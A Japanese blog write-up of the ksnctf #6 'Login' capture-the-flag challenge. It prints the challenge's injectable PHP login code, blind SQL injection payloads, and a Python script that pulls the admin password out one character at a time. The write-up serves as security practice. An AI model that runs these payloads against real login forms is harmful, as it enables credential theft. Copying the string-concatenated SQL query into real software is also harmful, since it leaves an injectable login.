かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #6 Login

前回の問題はえらく簡単だったのですが、今回はちょっと知識がいりそうな問題です。

ksnctf - 6 Login

Problem

http://ctfq.sweetduet.info:10080/~q6/

URL先に飛ぶとログインフォームがあり、"First, login as "admin"."の文字が。
adminでログインしろってことだと思うんですが、パスワードがわからん。

Answer

ポイントも120ptとそんなに高くないので、 SQLインジェクションかな?
ので、まずはパスワードの文字数を調べて行きたいと思います。

idが'admin'でかつ、passの長さが[文字数]であるものを探していきます。

admin' AND (SELECT length(pass) FROM user WHERE id='admin') = [文字数]; --

ksnctfのフラグはだいたい21文字なので(多分)、[文字数]=21にして実行すると、以下のレスポンスが得られました。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

これで文字数はわかったので、1文字ずつパスワードを推測していきたいと思います。
substrを使うことによって、最初からn文字目までの一致を確認することができるので、総当りよりもだいぶ効率が良いです。

#!/usr/bin/env python
# coding: UTF-8

import sys
import urllib
import urllib2

def httpRequest(id, pw):

	url = 'http://ctfq.sweetduet.info:10080/~q6/'
	req = {'id': id, 'pass': pw}
	params = urllib.urlencode(req)
	response = urllib2.urlopen(url, params)
	data = response.read()
	# print data
	# print len(data)

	return data

def atkpw(plen):

	flag = ''

	for p in range(0, plen):
		for i in range(48, 123):
			char = chr(i)
			id = "admin' AND substr((SELECT pass FROM user WHERE id='admin'), " + str(p + 1) + ", 1) = " + "'" + char + "'" + " ; --"
			pw = "''"

			data = httpRequest(id, pw)

			if len(data) > 2000:
				print str(i) + ": " + char
				flag = flag + char
				print flag
				break

	return flag

if __name__ == '__main__':
	plen = 21
	print atkpw(plen)

これでしばらく放置すればフラグゲットです。

感想とか

SQLインジェクション自体は元々知っていたのですが、実際にやってみたのは初めてなので、いい経験になりました。